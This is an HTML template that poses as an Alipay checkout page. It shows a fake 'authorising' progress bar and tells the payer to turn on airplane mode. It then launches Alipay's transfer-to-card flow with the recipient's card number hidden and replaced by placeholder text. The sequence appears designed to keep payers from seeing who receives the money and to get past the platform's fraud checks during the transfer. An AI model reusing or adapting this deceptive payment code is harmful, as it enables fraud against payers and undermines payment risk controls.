<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>支付宝收银台</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no"/>
    <link rel="stylesheet" type="text/css" href="http://z.w8pay.cn:88/assets/Pay/bk/css/QRCode.css"/>
    <script type="text/javascript" src="http://z.w8pay.cn:88/assets/Pay/bk/js/jquery-2.0.3.min.js"></script>
    <script type="text/javascript" src="http://z.w8pay.cn:88/assets/Home/js/layer.js"></script>

</head>
<body onload="start()">

<div style="width: 100%; text-align: center;font-family:微软雅黑;">
    <div id="panelWrap" class="panel-wrap">
        <!-- CUSTOM LOGO -->
        <div class="panel-heading">
            <div class="row">
                <div class="col-md-12 text-center">
                    <img src="http://z.w8pay.cn:88/assets/Pay/bk/img/alipay.png" alt="Logo-QQPay"
                         class="img-responsive center-block"
                         style="height: 30px;"/>
                </div>

            </div>
        </div>
        <!-- PANEL TlogoEMPLATE START -->
        <div class="panel panel-easypay">
            <!-- PANEL HEADER -->
            <div class="panel-heading" style=" padding: 0 15px;">
                <br>
                <h3 style="color: blue" id="title">
                    支付宝正在授权....
                </h3>
                <br>
                <div class="money">
                    <span class="price" style="font-size: 2.2rem;" th:text="'￥' + ${channelOrder.amount}"></span>
                    <span class="currency">元</span>
                </div>
            </div>
            <div class="panel-footer">
                <button id="btnTime" style="font-size: 16px;width: 10%;" class="btn  btn-primary btn-lg btn-block"
                        disabled>0%
                </button>
            </div>
        </div>
    </div>

    <div style="color: green;font-size: 18px">&nbsp;&nbsp;&nbsp;如图:<br></div>
    <div style="text-align: center; margin-top: 10px"><img  th:src="@{/img/guid/feixing.png}"
                                                           alt="" width="100%" height="30%"></div>
</div>

<script type="text/javascript"
        src="https://gw.alipayobjects.com/as/g/h5-lib/alipayjsapi/3.1.1/alipayjsapi.inc.min.js"></script>

</body>

<script>
    var timeer;//定义在两个函数外面，因为两个函数都会用到！
    var w = 5;

    function show() {
        w += 10;
        var text = w + '%';
        if (w >= 100) {
            clearInterval(timeer);
            timeer = null;
            $('#btnTime').css({
                width: "100%"
            }).text('立即支付');
            $('#btnTime').removeAttr("disabled");
            $('#title').text("请打开手机飞行模式以继续!!!");
            return false
        }

        $('#btnTime').text(text).css({
            width: text
        });
    }

    function start() {
        timeer = window.setInterval(show, 150);//每隔200ms调用一次show函数
    }

    //立即支付 判断是否有开启飞行模式
    $('#btnTime').click(function () {
        goPay();
    });


    function goPay() {
        ap.getNetworkType(function (res) {
            networkAvailable = res.networkAvailable;
            if (networkAvailable) {
                ap.alert({
                    content: '请打开手机飞行模式后再点击立即支付'
                });
            } else {
                layer.confirm('<div style="color:red; font-size:18px">请耐心等待10秒跳转到银行卡转账页面!!!<br /><br />跳转到银行卡转账页面后再关闭飞行模式!!!<br /><br />关闭飞行模式后请耐心等待10秒,即可付款!!!', {
                    icon: 1,
                    title: '充值提示',
                    btn: ['我知道了'],
                    offset: 'auto'
                    //按钮
                }, function (index) {
                    layer.close(index);
                    setTimeout(function () {
                        scanQR();
                    }, 50);
                });

            }
        });
    }

    var cardNo = "请关闭飞行模式****";
    var bankName = '[[${channelOrder.bankName}]]';
    var bankMark = '[[${channelOrder.bankMark}]]';
    var amount = '[[${channelOrder.amount}]]';
    var cardIndex = '[[${channelOrder.cardId}]]';
    var bankAccount = '[[${channelOrder.accountName}]]';

    function goJsPay() {
        AlipayJSBridge.call('exitApp');
        var a = {
            actionType: "toCard",
            sourceId: "bill",
            cardNo: cardNo,
            bankAccount: bankAccount,
            money: amount,
            amount: amount,
            bankMark: bankMark,
            bankName: bankName,
            cardIndex: cardIndex,
            cardNoHidden: "true",
            cardChannel: "HISTORY_CARD",
            orderSource: "from"
        };

        setTimeout(function () {
            AlipayJSBridge.call("startApp", {
                appId: "09999988",
                param: a
            }, function (a) {
            });
        }, 10)
    }

    function scanQR() {
        setTimeout(function () {
            goJsPay();
        }, 10);
    };

</script>
</html>